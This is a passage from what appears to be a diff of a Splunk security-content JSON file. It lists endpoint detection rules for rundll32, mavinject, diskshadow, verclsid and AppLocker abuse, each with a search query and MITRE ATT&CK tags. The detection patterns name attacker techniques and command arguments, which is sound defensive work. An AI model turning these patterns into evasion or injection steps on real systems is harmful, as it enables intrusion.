- "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to evade detection by using a non-standard file extension.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 dllregisterserver", - "description": "The following analytic detects the execution of rundll32.exe with the DllRegisterServer command to load a DLL. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it may indicate an attempt to register a malicious DLL, which can be a method for code execution or persistence. If confirmed malicious, an attacker could gain unauthorized code execution, escalate privileges, or maintain persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*dllregisterserver* by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_dllregisterserver_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to register a DLL. code", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 no Command Line Arguments", - "description": "The following analytic detects the execution of rundll32.exe without any command line arguments. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process execution logs. It is significant because rundll32.exe typically requires command line arguments to function properly, and its absence is often associated with malicious activities, such as those performed by Cobalt Strike. If confirmed malicious, this activity could indicate an attempt to execute arbitrary code, potentially leading to credential dumping, unauthorized file writes, or other malicious actions.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_rundll32` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(rundll32\\.exe.{0,4}$)\" | `suspicious_rundll32_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "PrintNightmare CVE-2021-34527", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious rundll32.exe process with no command line arguments executed on $dest$ by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 PluginInit", - "description": "The following analytic identifies the execution of the rundll32.exe process with the \"plugininit\" parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant because the \"plugininit\" parameter is commonly associated with IcedID malware, which uses it to execute an initial DLL stager to download additional payloads. If confirmed malicious, this behavior could lead to further malware infections, data exfiltration, or complete system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*PluginInit* by Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.parent_process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_plugininit_filter`", - "tags": { - "analytic_story": [ - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process $process_name$ with commandline $process$ in host $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 StartW", - "description": "The following analytic identifies the execution of rundll32.exe with the DLL function names \"Start\" and \"StartW,\" commonly associated with Cobalt Strike payloads. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. This activity is significant as it often indicates the presence of malicious payloads, such as Cobalt Strike, which can lead to unauthorized code execution. If confirmed malicious, this activity could allow attackers to inject shellcode, escalate privileges, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*start* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_startw_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Suspicious Rundll32 Activity", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "rundll32.exe running with suspicious StartW parameters on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "UAC Bypass With Colorui COM Object", - "description": "The following analytic detects a potential UAC bypass using the colorui.dll COM Object. It leverages Sysmon EventCode 7 to identify instances where colorui.dll is loaded by a process other than colorcpl.exe, excluding common system directories. This activity is significant because UAC bypass techniques are often used by malware, such as LockBit ransomware, to gain elevated privileges without user consent. If confirmed malicious, this could allow an attacker to execute code with higher privileges, leading to further system compromise and persistence within the environment.", - "search": "`sysmon` EventCode=7 ImageLoaded=\"*\\\\colorui.dll\" process_name != \"colorcpl.exe\" NOT(Image IN(\"*\\\\windows\\\\*\", \"*\\\\program files*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest user_id EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `uac_bypass_with_colorui_com_object_filter`", - "tags": { - "analytic_story": [ - "LockBit Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "ImageLoaded", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "The following module $ImageLoaded$ was loaded by a non-standard application on endpoint $dest$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.003", - "mitre_attack_technique": "CMSTP", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "MuddyWater" - ] - } - ] - } - }, - { - "name": "Uninstall App Using MsiExec", - "description": "The following analytic detects the uninstallation of applications using msiexec with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it is an uncommon practice in enterprise environments and has been associated with malicious behavior, such as disabling antivirus software. If confirmed malicious, this could allow an attacker to remove security software, potentially leading to further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=msiexec.exe Processes.process= \"* /qn *\" Processes.process= \"*/X*\" Processes.process= \"*REBOOT=*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `uninstall_app_using_msiexec_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $process_name$ with a cmdline $process$ in host $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Verclsid CLSID Execution", - "description": "The following analytic detects the potential abuse of the verclsid.exe utility to execute malicious files via generated CLSIDs. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns associated with verclsid.exe. This activity is significant because verclsid.exe is a legitimate Windows application used to verify CLSID COM objects, and its misuse can indicate an attempt to bypass security controls. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, potentially leading to system compromise or further malicious activities.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_verclsid` AND Processes.process=\"*/S*\" Processes.process=\"*/C*\" AND Processes.process=\"*{*\" AND Processes.process=\"*}*\" by Processes.process_name Processes.original_file_name Processes.dest Processes.user Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `verclsid_clsid_execution_filter`", - "tags": { - "analytic_story": [ - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "process $process_name$ to execute possible clsid commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.012", - "mitre_attack_technique": "Verclsid", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Wbemprox COM Object Execution", - "description": "The following analytic detects a suspicious process loading a COM object from wbemprox.dll, fastprox.dll, or wbemcomn.dll. It leverages Sysmon EventCode 7 to identify instances where these DLLs are loaded by processes not typically associated with them, excluding known legitimate processes and directories. This activity is significant as it may indicate an attempt by threat actors to abuse COM objects for privilege escalation or evasion of detection mechanisms. If confirmed malicious, this could allow attackers to gain elevated privileges or maintain persistence within the environment, posing a significant security risk.", - "search": "`sysmon` EventCode=7 ImageLoaded IN (\"*\\\\fastprox.dll\", \"*\\\\wbemprox.dll\", \"*\\\\wbemcomn.dll\") NOT (process_name IN (\"wmiprvse.exe\", \"WmiApSrv.exe\", \"unsecapp.exe\")) NOT(Image IN(\"*\\\\windows\\\\*\",\"*\\\\program files*\", \"*\\\\wbem\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId Hashes IMPHASH | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wbemprox_com_object_execution_filter`", - "tags": { - "analytic_story": [ - "LockBit Ransomware", - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious COM Object Execution on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.003", - "mitre_attack_technique": "CMSTP", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "MuddyWater" - ] - } - ] - } - }, - { - "name": "Windows AppLocker Block Events", - "description": "The following analytic detects attempts to bypass application restrictions by identifying Windows AppLocker policy violations. It leverages Windows AppLocker event logs, specifically EventCodes 8007, 8004, 8022, 8025, 8029, and 8040, to pinpoint blocked actions. This activity is significant for a SOC as it highlights potential unauthorized application executions, which could indicate malicious intent or policy circumvention. If confirmed malicious, this activity could allow an attacker to execute unauthorized applications, potentially leading to further system compromise or data exfiltration.", - "search": "`applocker` EventCode IN (8007, 8004, 8022, 8025, 8029, 8040) | spath input=UserData_Xml | rename RuleAndFileData.* as *, TargetUser as user, Computer as dest | stats count min(_time) as firstTime max(_time) as lastTime by dest, PolicyName, RuleId, user, TargetProcessId, FilePath, FullFilePath, EventCode | lookup applockereventcodes EventCode OUTPUT Description | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_applocker_block_events_filter`", - "tags": { - "analytic_story": [ - "Windows AppLocker" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of AppLocker policy violation has been detected on $dest$.", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows AppLocker Execution from Uncommon Locations", - "description": "The following analytic identifies the execution of applications or scripts from uncommon or suspicious file paths, potentially indicating malware or unauthorized activity. It leverages Windows AppLocker event logs and uses statistical analysis to detect anomalies. By calculating the average and standard deviation of execution counts per file path, it flags paths with execution counts significantly higher than expected. This behavior is significant as it can uncover malicious activities or policy violations. If confirmed malicious, this activity could allow attackers to execute unauthorized code, leading to potential system compromise or data breaches.", - "search": "`applocker` | spath input=UserData_Xml | rename RuleAndFileData.* as *, Computer as dest, TargetUser AS user | stats count min(_time) as firstTime max(_time) as lastTime by dest, PolicyName, RuleId, user, TargetProcessId, FilePath, FullFilePath | eventstats avg(count) as avg, stdev(count) as stdev | eval upperBound=(avg+stdev*2), anomaly=if(count > upperBound, \"Yes\", \"No\") | where anomaly=\"Yes\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_applocker_execution_from_uncommon_locations_filter`", - "tags": { - "analytic_story": [ - "Windows AppLocker" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An application was executed from an uncommon location on a host $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows AppLocker Privilege Escalation via Unauthorized Bypass", - "description": "The following analytic utilizes Windows AppLocker event logs to identify attempts to bypass application restrictions. AppLocker is a feature that allows administrators to specify which applications are permitted to run on a system. This analytic is designed to identify attempts to bypass these restrictions, which could be indicative of an attacker attempting to escalate privileges. The analytic uses EventCodes 8007, 8004, 8022, 8025, 8029, and 8040 to identify these attempts. The analytic will identify the host, full file path, and target user associated with the bypass attempt. These EventCodes are related to block events and focus on 5 attempts or more.", - "search": "`applocker` EventCode IN (8007, 8004, 8022, 8025, 8029, 8040) | spath input=UserData_Xml | rename RuleAndFileData.* as *, Computer as dest, TargetUser AS user | stats count AS attempt_count min(_time) as firstTime max(_time) as lastTime by dest, PolicyName, RuleId, user, TargetProcessId, FilePath, FullFilePath, EventCode | where attempt_count > 5 | sort - attempt_count | lookup applockereventcodes EventCode OUTPUT Description | `windows_applocker_privilege_escalation_via_unauthorized_bypass_filter`", - "tags": { - "analytic_story": [ - "Windows AppLocker" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to bypass application restrictions was detected on a host $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows AppLocker Rare Application Launch Detection", - "description": "The following analytic detects the launch of rarely used applications within the environment, which may indicate the use of potentially malicious software or tools by attackers. It leverages Windows AppLocker event logs, aggregating application launch counts over time and flagging those that significantly deviate from the norm. This behavior is significant as it helps identify unusual application activity that could signal a security threat. If confirmed malicious, this activity could allow attackers to execute unauthorized code, potentially leading to further compromise of the system.", - "search": "`applocker` | spath input=UserData_Xml | rename RuleAndFileData.* as *, Computer as dest, TargetUser AS user | stats dc(_time) as days, count by FullFilePath dest user | eventstats avg(count) as avg, stdev(count) as stdev | eval upperBound=(avg+stdev*3), lowerBound=(avg-stdev*3) | where count > upperBound OR count < lowerBound | `windows_applocker_rare_application_launch_detection_filter`", - "tags": { - "analytic_story": [ - "Windows AppLocker" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An application launch that deviates from the norm was detected on a host $dest$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Binary Proxy Execution Mavinject DLL Injection", - "description": "The following analytic detects the use of mavinject.exe for DLL injection into running processes, identified by specific command-line parameters such as /INJECTRUNNING and /HMODULE. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because it indicates potential arbitrary code execution, a common tactic for malware deployment and persistence. If confirmed malicious, this could allow attackers to execute unauthorized code, escalate privileges, and maintain persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=mavinject.exe Processes.process IN (\"*injectrunning*\", \"*hmodule=0x*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_binary_proxy_execution_mavinject_dll_injection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting load a DLL.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.013", - "mitre_attack_technique": "Mavinject", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Diskshadow Proxy Execution", - "description": "The following analytic detects the use of DiskShadow.exe in scripting mode, which can execute arbitrary unsigned code. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions with scripting mode flags. This activity is significant because DiskShadow.exe is typically used for legitimate backup operations, but its misuse can indicate an attempt to execute unauthorized code. If confirmed malicious, this could lead to unauthorized code execution, potentially compromising the system and allowing further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_diskshadow` (Processes.process=*-s* OR Processes.process=*/s*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_diskshadow_proxy_execution_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Signed Binary Proxy Execution on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows DotNet Binary in Non Standard Path", - "description": "The following analytic detects the execution of native .NET binaries from non-standard directories within the Windows operating system. It leverages Endpoint Detection and Response (EDR) telemetry, comparing process names and original file names against a predefined lookup using the `is_net_windows_file_macro` macro. This activity is significant because adversaries may move .NET binaries to unconventional paths to evade detection and execute malicious code. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_path Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `is_net_windows_file_macro` | `windows_dotnet_binary_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - 